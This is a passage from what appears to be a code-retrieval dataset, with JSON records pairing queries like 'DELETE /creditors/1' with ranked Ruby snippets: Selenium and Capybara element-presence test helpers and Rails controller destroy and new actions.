check_override(override,\"--> Not Displayed #{msg} #{what} of type #{how} \")\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n @util.logging \"#{what} of type #{how} is not displayed - #{msg}\"\r\n return check_override(override,\"--> Not Displayed #{msg} #{what} of type #{how} \")\r\n rescue Selenium::WebDriver::Error::TimeoutError\r\n @util.logging \"#{what} of type #{how} is not displayed - #{msg}\"\r\n return check_override(override,\"--> Not Displayed #{msg} #{what} of type #{how} \")\r\n else\r\n\r\n end\r\n end", "title": "" }, { "docid": "4f3d1d2675110a1ac9bd6487474eaa41", "score": "0.6033538", "text": "def assert_element_not_present element_locator\r\n command 'assertElementNotPresent', element_locator\r\n end", "title": "" }, { "docid": "b1f9f087ebd4b0abe5092e13941eeff7", "score": "0.6024202", "text": "def verify_textview_exist_tf(text)\n find_element(:xpath, \"//android.widget.TextView[@text='#{text}']\").displayed?\n rescue StandardError\n false\n end", "title": "" }, { "docid": "1f25d3e097706b329ed5067bf9099d22", "score": "0.6018784", "text": "def exists?\r\n #puts \"element is : #{element_object}\"\r\n # If elements array has changed locate the element again. So that the element name points to correct element.\r\n if(element_object == nil || element_object == \"\")\r\n #puts \"locating element\"\r\n locate if defined?(locate)\r\n if(@element_name == nil || @element_name == \"\")\r\n return false\r\n else\r\n #puts caller(0)\r\n #puts \"element name is : #{@element_name}\"\r\n return true\r\n end\r\n else\r\n #puts \"not locating the element again\"\r\n return true\r\n end\r\n @@current_level = 0\r\n if(element_object == nil || element_object == \"\")\r\n return false\r\n else\r\n return true\r\n end\r\n end", "title": "" }, { "docid": "6772fd0678a46bc1c0599b477ed2e0a6", "score": "0.6015957", "text": "def node_present?(selector)\n noko = Nokogiri::HTML(self.html_content)\n !noko.css(selector).empty?\n end", "title": "" }, { "docid": "b4921b1bbe54776ba0aa16c7602bb381", "score": "0.6015266", "text": "def verify_feed_elements\n wait_for_elements_exist([@@feedtable], :timeout => 10)\n wait_for_elements_exist([@@storycell], :timeout => 10)\n wait_for_elements_exist([@@compose], :timeout => 10)\n end", "title": "" }, { "docid": "24ed3818ff40d443db606615f8bcf792", "score": "0.6012903", "text": "def when_present(timeout = ::PageObject.default_element_wait)\n wait = Object::Selenium::WebDriver::Wait.new(timeout: timeout, message: \"Element not present in #{timeout} seconds\")\n wait.until do\n root.exists?\n end\n self\n end", "title": "" }, { "docid": "d05249a066dc2d88c8c163c1c5e125b1", "score": "0.6005102", "text": "def element_exists?(options = {})\n puts \"#{method_name}(#{options.inspect})\" if @@debug\n index = 0\n if(options[:index])\n index = options[:index]\n assert(index >= 0, \"Wrong index: '#{index}'\")\n options.delete(:index)\n end\n elements = get_all_elements(options)\n elements.length > index\n end", "title": "" }, { "docid": "a52bde46cbd65bf141797a026ddbbb4d", "score": "0.6004247", "text": "def is_button_present?\n @browser.find_element(:tag_name, 'h2').text\n end", "title": "" }, { "docid": "d7a1e1c485cfd028fee7ce4f3f18f140", "score": "0.6001904", "text": "def verify_disclaimer_text_exists\n exists { find_element(:id, 'com.bleacherreport.android.teamstream:id/disclaimer') }\n end", "title": "" }, { "docid": "fc3a76e86f6a5543afa9ba38c084d5d6", "score": "0.60015917", "text": "def has_invalid_email_address_message?\n element_exists(\"* id:'textview_error' text:'Invalid email address'\")\n end", "title": "" }, { "docid": "27f4d8dfa8d1685a8e86797e1b11637d", "score": "0.5998097", "text": "def expected_element(element_name)\n define_method(\"has_expected_element?\") do\n args = self.send(\"#{element_name}_selector\")\n page.assert_selector(*args)\n true\n end\n end", "title": "" }, { "docid": "5f74f0d96804a16e7589aff2426013ef", "score": "0.59946084", "text": "def check_delete_draft_success_message_exists\r\n return selenium.is_text_present \"\"\r\n end", "title": "" }, { "docid": "b1e5aecdb7ebe7b0cc081edf808f3ef6", "score": "0.599106", "text": "def page_has_element(element, attrs={}, method=:css)\n selector = make_selector(element, attrs, method)\n if page.respond_to? :should\n case method\n when :xpath\n page.should have_xpath(selector)\n else # :css\n page.should have_selector(selector)\n end\n else\n case method\n when :xpath\n assert page.has_xpath?(selector)\n else # :css\n assert page.has_selector?(selector)\n end\n end\n end", "title": "" }, { "docid": "6476b1915ed6fca4c3c09752783904f7", "score": "0.5980916", "text": "def page_has_no_title\n expect(page).to_not have_css('section#content > div#main_article > h1')\nend", "title": "" }, { "docid": "042ace26d041ab0b402c4e7bc41f026b", "score": "0.5959165", "text": "def present?\n exists? && visible?\n rescue Exception\n # if the element disappears between the exists? and visible? calls,\n # consider it not present.\n false\n end", "title": "" } ]
4a673995d099d2ceedfe1eae806c758e
DELETE /creditors/1 DELETE /creditors/1.json
[ { "docid": "d5d4e67ebdf7acbc9012c37c6dcf3864", "score": "0.7355292", "text": "def destroy\n @creditor.destroy\n respond_to do |format|\n format.html { redirect_to creditors_url, notice: 'Creditor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "5579ba77cb46691e3cd64ba6d6483f9b", "score": "0.7239579", "text": "def destroy\n @credito = Credito.find(params[:id])\n @credito.destroy\n\n respond_to do |format|\n format.html { redirect_to creditos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "03f944022f79136dae62997525b3f730", "score": "0.7004397", "text": "def destroy\n @credito.destroy\n respond_to do |format|\n format.html { redirect_to creditos_url, notice: 'Credito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6e743d3e53e5b79d08aa44ea4a7e2321", "score": "0.6984169", "text": "def destroy\n @visitante_credenciado = VisitanteCredenciado.find(params[:id])\n @visitante_credenciado.destroy\n\n respond_to do |format|\n format.html { redirect_to visitante_credenciados_url }\n format.json { head :no_content }\n end\n \n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6983095", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "fd625196839f061be75eccb9eb6aa82d", "score": "0.6878586", "text": "def destroy\n @competitor = Competitor.find(params[:id])\n @competitor.destroy\n\n respond_to do |format|\n format.html { redirect_to competitors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3deb64fd10fe1cd9a03b0fd6587fb649", "score": "0.6841239", "text": "def destroy\n # @credential.destroy\n # respond_to do |format|\n # format.html { redirect_to credentials_url, notice: 'Credential was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "title": "" }, { "docid": "e039c732859969b941534ea940f72d44", "score": "0.682456", "text": "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0f7f8eb795b6f0c3025f775434afefce", "score": "0.67619365", "text": "def destroy\n @collaborator = Collaborator.find(params[:id])\n @collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to collaborators_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.67360365", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "408fbb596cafccf5fc4b3c5feb38f0fd", "score": "0.67203075", "text": "def destroy\n @collaborator = Collaborator.find(params[:id])\n @collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to canvases_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b39a03413d606391c52e7c71e957a049", "score": "0.66792554", "text": "def delete\n render json: Company.delete(params[\"id\"])\n end", "title": "" }, { "docid": "1e87ae80b3fb9be180f924bee835b0aa", "score": "0.6676889", "text": "def destroy\n authorize! :destroy, @repo\n @repo_cred.destroy\n respond_to do |format|\n format.html { redirect_to @repo, notice: 'Repo cred was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "66d6975f6067d7fc230a252f6f7cb816", "score": "0.6654271", "text": "def destroy\n @collaborator.destroy\n respond_to do |format|\n format.html { redirect_to collaborators_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "22da2428217ede02905894b08d2f8893", "score": "0.6634842", "text": "def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "71ab62d423f6e2657a3edcc1c87c1e6b", "score": "0.6627907", "text": "def destroy\n @nota_credito.destroy\n respond_to do |format|\n format.html { redirect_to nota_creditos_url, notice: 'Nota credito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a1f274d8fc6dc03015c1ce513c13c87d", "score": "0.6614142", "text": "def destroy\n @crate = Crate.find(params[:id])\n @crate.destroy\n\n respond_to do |format|\n format.html { redirect_to crates_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f1a92d2a31a7366c43019f9cd5f9da61", "score": "0.66073054", "text": "def destroy\n authorize @colaboradore\n @colaboradore.destroy\n respond_to do |format|\n format.html { redirect_to colaboradores_url, notice: 'Colaborador eliminado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "009d36dbc8f6a365603e0b412c579181", "score": "0.6603976", "text": "def destroy\n @t_nota_credito.destroy\n respond_to do |format|\n format.html { redirect_to t_nota_creditos_url, notice: 'T nota credito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6a2e6b807c8dde713b49cf628a6b0b9", "score": "0.6601301", "text": "def destroy\n @companion.destroy\n respond_to do |format|\n format.html { redirect_to companions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "63a1c6ba258ce86f17321dd32bacfa93", "score": "0.65971774", "text": "def destroy\n @credential.destroy\n respond_to do |format|\n format.html { redirect_to credentials_url, notice: 'Credential was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c6357af28cf9c38705d93ce7327674a", "score": "0.6595305", "text": "def destroy\n @collaborator.destroy\n respond_to do |format|\n format.html { redirect_to collaborators_url, notice: \"Colaborador removido com sucesso!!\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95cf698432bda3e311657a1b73c486b5", "score": "0.65849656", "text": "def destroy\n @colaborattor.destroy\n respond_to do |format|\n format.html { redirect_to colaborattors_url, notice: I18n.t('messages.destroyed_with', item: @colaborattor.colaborattorname) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79181da7ba88fd500e5cc64e80fcccf8", "score": "0.65784186", "text": "def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end", "title": "" }, { "docid": "6e6604de838f5b3dd0891a6eef288d70", "score": "0.6575966", "text": "def destroy\n @credential = Credential.find(params[:id])\n @credential.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "26f793d85858d7201b128ae870368a2b", "score": "0.657247", "text": "def destroy\n @competitor.destroy\n respond_to do |format|\n format.html { redirect_to competitors_url, notice: 'Competitor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "26f793d85858d7201b128ae870368a2b", "score": "0.657247", "text": "def destroy\n @competitor.destroy\n respond_to do |format|\n format.html { redirect_to competitors_url, notice: 'Competitor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "33b1343edfeccbcc6788713186772ed1", "score": "0.6546642", "text": "def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n respond_to do |format|\n format.html { redirect_to compromises_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0af6e9e1530919d98ae6da29270c7fc0", "score": "0.65464985", "text": "def destroy\n @colaborator.destroy\n respond_to do |format|\n format.html { redirect_to colaborators_url, notice: 'Colaborator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "652eb97d8801aafa32e4ed1b04982262", "score": "0.65417975", "text": "def destroy\n @crate.destroy\n respond_to do |format|\n format.html { redirect_to tenant_crates_url, notice: 'Crate was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6a88971faf56e7670108770539910711", "score": "0.65389144", "text": "def destroy\n @colaborador.destroy\n respond_to do |format|\n format.html { redirect_to colaboradors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.65304613", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "f29e39c5bd7752c6e1d27381035447e1", "score": "0.6528881", "text": "def destroy\n @reconcile = Reconcile.find(params[:id])\n @reconcile.destroy\n\n respond_to do |format|\n format.html { redirect_to reconciles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74aa430ac3ce7c6bac32d15420f1a0b5", "score": "0.6527655", "text": "def destroy\n @crime = Crime.find(params[:id])\n @crime.destroy\n\n respond_to do |format|\n format.html { redirect_to crimes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f5b653c57eeb392613231f2e0392d661", "score": "0.6522976", "text": "def destroy\n @company = Company.find(id_from_params)\n @company.accounts.delete(current_user.account)\n #current_user.companies.delete(@company)\n #@company.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "10be14cc1b8adf939dadf081e0d87676", "score": "0.65144795", "text": "def destroy\n @my_studio_client = MyStudio::Client.find(params[:id])\n @my_studio_client.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_clients_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d31bc164480ac36aa891b72dc45896a6", "score": "0.6509257", "text": "def destroy\n @inc_stable_account.destroy\n respond_to do |format|\n format.html { redirect_to inc_stable_accounts_url, notice: 'Inc stable account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "11ea59e4ce1803e67b3352fd2eaf9a0d", "score": "0.6507384", "text": "def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end", "title": "" }, { "docid": "765dafb23987e21dc2b36836aab41321", "score": "0.65024287", "text": "def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end", "title": "" }, { "docid": "c54d458c1db65d2599f82f441b8da36e", "score": "0.64980996", "text": "def destroy\n @admin_collaborator = Admin::Collaborator.find(params[:id])\n @admin_collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_collaborators_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8e153955e08e6e164f9d2a06935120b", "score": "0.64970005", "text": "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "title": "" }, { "docid": "7a5eea7c7a07ce3e7f95fa50802d596e", "score": "0.649698", "text": "def delete path\n make_request(path, \"delete\", {})\n end", "title": "" }, { "docid": "88c8b3de1c11e8088765b74d0e0b3ae7", "score": "0.64917356", "text": "def destroy\n @user_credit.destroy\n respond_to do |format|\n format.html { redirect_to user_credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "16771547284e814120c6c46e81124dda", "score": "0.64852023", "text": "def destroy\n @tcredito.destroy\n respond_to do |format|\n format.html { redirect_to tcreditos_url, notice: 'Tcredito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f009f77c5392e3ebf820f758f4ccc435", "score": "0.64851844", "text": "def destroy\n @auditoria = Auditoria.find(params[:id])\n @auditoria.destroy\n\n respond_to do |format|\n format.html { redirect_to auditorias_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "39da9b1d1055556d0aeeede554ccec8d", "score": "0.6484342", "text": "def destroy\n @conductor = Conductor.find(params[:id])\n @conductor.destroy\n\n respond_to do |format|\n format.html { redirect_to conductors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7b6e84111decab7cbc2c1b985561f0fc", "score": "0.64768785", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7b6e84111decab7cbc2c1b985561f0fc", "score": "0.64768785", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7b6e84111decab7cbc2c1b985561f0fc", "score": "0.64768785", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to credits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5ff96663ef4eea6c4a06d9ce0fe8bad1", "score": "0.6472779", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ba2683b8d18bd32178a57df59746ba6d", "score": "0.64677644", "text": "def soccer_delete\n base_delete(params, \"Soccer\")\n end", "title": "" }, { "docid": "e79f7eb39e8696b8a06918d23bb1caf8", "score": "0.6462294", "text": "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couche was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "04d76332190d223b89b58df40b061963", "score": "0.6460326", "text": "def destroy\n @collaborator.destroy\n respond_to do |format|\n format.html { redirect_to collaborators_url, notice: 'Collaborator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "04d76332190d223b89b58df40b061963", "score": "0.6460326", "text": "def destroy\n @collaborator.destroy\n respond_to do |format|\n format.html { redirect_to collaborators_url, notice: 'Collaborator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "04d76332190d223b89b58df40b061963", "score": "0.6460326", "text": "def destroy\n @collaborator.destroy\n respond_to do |format|\n format.html { redirect_to collaborators_url, notice: 'Collaborator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6146dc9ffe5910fc3d1da44a5e016a08", "score": "0.64582264", "text": "def destroy\n @credit_company.destroy\n respond_to do |format|\n format.html { redirect_to credit_companies_url, notice: t('credit_company.destroyed') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "30c2ee1f1195d5abe13aa3d5f109d9b6", "score": "0.64550924", "text": "def destroy\n @commtent1 = Commtent1.find(params[:id])\n @commtent1.destroy\n\n respond_to do |format|\n format.html { redirect_to commtent1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "29b8ec3834ad50847c9690742bffcf2d", "score": "0.64521116", "text": "def destroy\n @compromise = Compromise.find(params[:id])\n @compromise.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "b3d5cc7be98c38ed2845836ab57352e3", "score": "0.6444496", "text": "def destroy\n @client.delete(@name)\n end", "title": "" }, { "docid": "0ca9cf7f946539591e9dfc60854ca325", "score": "0.6443374", "text": "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "379e91616f2fe6153370331a93a28f91", "score": "0.64424133", "text": "def destroy\n @personal_rubro.destroy\n respond_to do |format|\n format.html { redirect_to personal_rubros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7752f2a36cc6fc338dd0d562a3a7243f", "score": "0.643947", "text": "def destroy\n @personal_account = PersonalAccount.find(params[:id])\n @personal_account.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_accounts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8bed04fff37989cb61aa54e10c5146c6", "score": "0.6438853", "text": "def delete(path, params = {})\n Chirpy.request params.merge({:path => path, :method => 'delete'}.merge(authentication))\n end", "title": "" }, { "docid": "7285ce5fb6f14285e0aaf00ba129b0fa", "score": "0.643819", "text": "def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c769f9c71ec36b6501cc4dd7906af1f", "score": "0.64378226", "text": "def destroy\n @colaboration = Colaboration.find(params[:id])\n @colaboration.destroy\n\n respond_to do |format|\n format.html { redirect_to colaborations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45402face60c83fb743f1323bca41edb", "score": "0.643303", "text": "def destroy\n @companium.destroy\n respond_to do |format|\n format.html { redirect_to compania_url, notice: 'Companium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7d3c63b7953786567365eebd7e48340", "score": "0.6426361", "text": "def delete(options={})\n connection.delete(\"/\", @name)\n end", "title": "" }, { "docid": "4c4999de6ead0c31aef4520465573b73", "score": "0.6425304", "text": "def destroy\n @research_c = ResearchC.find(params[:id])\n @research_c.destroy\n\n respond_to do |format|\n format.html { redirect_to research_cs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb8a955f17442ce1943df31af7a73f7", "score": "0.6425171", "text": "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "title": "" }, { "docid": "38695ef5eff0036b98c4d9c38891d62a", "score": "0.6424316", "text": "def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7b0f9343a48d4bd745e6db2b0168879", "score": "0.642312", "text": "def destroy\n @correo = Correo.find(params[:id])\n @correo.destroy\n\n respond_to do |format|\n format.html { redirect_to correos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "65164272d9e46e0def63187a89856ca2", "score": "0.6418176", "text": "def destroy\n @competitor.destroy\n respond_to do |format|\n format.html { redirect_to competitors_url, notice: 'Concorrente deletado com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "17019d662a5e0e8bf87ad2f37dcbdbe2", "score": "0.6417146", "text": "def destroy\n @curnit = Curnit.find(params[:id])\n @curnit.destroy\n\n respond_to do |format|\n format.html { redirect_to(curnits_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c42371e5a244f3265b35e3ce49c2d245", "score": "0.641406", "text": "def destroy\n @user_has_credibility = UserHasCredibility.find(params[:id])\n @user_has_credibility.destroy\n\n respond_to do |format|\n format.html { redirect_to user_has_credibilities_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ffc5b9e16681b768e160b3baaf8e9a16", "score": "0.640989", "text": "def destroy\n @crunch_company = CrunchCompany.find(params[:id])\n @crunch_company.destroy\n\n respond_to do |format|\n format.html { redirect_to crunch_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "62143e882a22e8dbe130be3d1c707f90", "score": "0.64072895", "text": "def destroy\n @collaboration.destroy\n respond_to do |format|\n format.html { redirect_to collaborations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6407174", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6407174", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6407174", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6407174", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "ce1e7cf90aa82857889c1b10e9f7d91a", "score": "0.64060193", "text": "def destroy\n @client.delete( name )\n end", "title": "" }, { "docid": "0b22910e10bea74df2f743d60fefbada", "score": "0.6405413", "text": "def destroy\n @exibitor = Exibitor.find(params[:id])\n @exibitor.destroy\n\n respond_to do |format|\n format.html { redirect_to exibitors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "594b780a15b5dc47d90164cadf091ac9", "score": "0.6405386", "text": "def destroy\n @gr_crd.destroy\n respond_to do |format|\n format.html { redirect_to gr_crds_url, notice: 'Gr crd was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "22e604b5e29e07f594fefb162bbadd70", "score": "0.6401103", "text": "def test_delete_object_by_id\r\n\t VCR.use_cassette('delete_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t id = \"#{CORDRA_PREFIX}/newspecimen03\"\r\n\t\t result=CordraRestClient::DigitalObject.delete(API_URL, id, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end", "title": "" }, { "docid": "5dc776bc9ae78418e72d1e4b066d6e08", "score": "0.6398494", "text": "def destroy\n @club_path = ClubPath.find(params[:id])\n @club_path.destroy\n\n respond_to do |format|\n format.html { redirect_to club_paths_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f95cc42ad815872fd2b0b2071898928d", "score": "0.63971007", "text": "def destroy\n @auditorio.destroy\n respond_to do |format|\n format.html { redirect_to auditorios_url, notice: 'Auditorio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "522e787502895f0a05c9b2c6ca4e5ced", "score": "0.63927025", "text": "def delete\n request(:delete)\n end", "title": "" }, { "docid": "4be041cf1d9a103a89eaa37277572677", "score": "0.63914263", "text": "def destroy\n @cord.destroy\n respond_to do |format|\n format.html { redirect_to cords_url, notice: t('cords.destroy.success') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8fe0632b9109a617c0b81a88f1b7279b", "score": "0.63864213", "text": "def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'+@color.id.to_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c1a6963b69c14530c809e6a0164b09d", "score": "0.6383081", "text": "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fb622696b3cadaef2a0d459cf3572785", "score": "0.63820153", "text": "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "title": "" }, { "docid": "47aa5d34308db5f7ea511b1114d2fb03", "score": "0.63805306", "text": "def destroy\n @cage.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "796ab5d53324e96c2ab8d699c2d077a2", "score": "0.637608", "text": "def destroy\n @reqcargo.destroy\n respond_to do |format|\n format.html { redirect_to reqcargos_url, notice: 'Reqcargo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "daab90f01f631f57929461bb01caa89c", "score": "0.6375156", "text": "def destroy\n @accion.destroy\n respond_to do |format|\n format.html { redirect_to accions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "faad5778c75ad5b23de6640cc24b0e21", "score": "0.63748336", "text": "def destroy\n @telecredito.destroy\n respond_to do |format|\n format.html { redirect_to telecreditos_url, notice: 'Telecredito was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3bbe532f009f1a184b0c02732cbe4aaf", "score": "0.6374662", "text": "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "title": "" }, { "docid": "2346f808f14a7a4ccc7e63f9f6380842", "score": "0.6374387", "text": "def destroy\n @competent = Competent.find(params[:id])\n @competent.destroy\n\n respond_to do |format|\n format.html { redirect_to competents_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6d53bb6c63e6c620d13372aa3276dca2", "score": "0.6365721", "text": "def destroy\n @concedente = Concedente.find(params[:id])\n @concedente.destroy\n\n respond_to do |format|\n format.html { redirect_to concedentes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a6c874eebb69cbb013172cd20a13591", "score": "0.6363512", "text": "def destroy\n @mycometer_coc.destroy\n respond_to do |format|\n format.html { redirect_to mycometer_cocs_url, notice: 'Mycometer coc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ab9ecc6e179bc098bf4ac789c5fadc1", "score": "0.6361505", "text": "def destroy\n @clint.destroy\n respond_to do |format|\n format.html { redirect_to clints_url, notice: 'Clint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "59d237dccc551135c510c4514c3b3830", "score": "0.63595784", "text": "def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end", "title": "" } ]
98c531e03f3662ce069738a08f124f8a
GET /evenements/new GET /evenements/new.json
[ { "docid": "2b302d6775f042f831a5a2d9b596f0f4", "score": "0.74156666", "text": "def new\n @evenement = Evenement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evenement }\n end\n end", "title": "" } ]
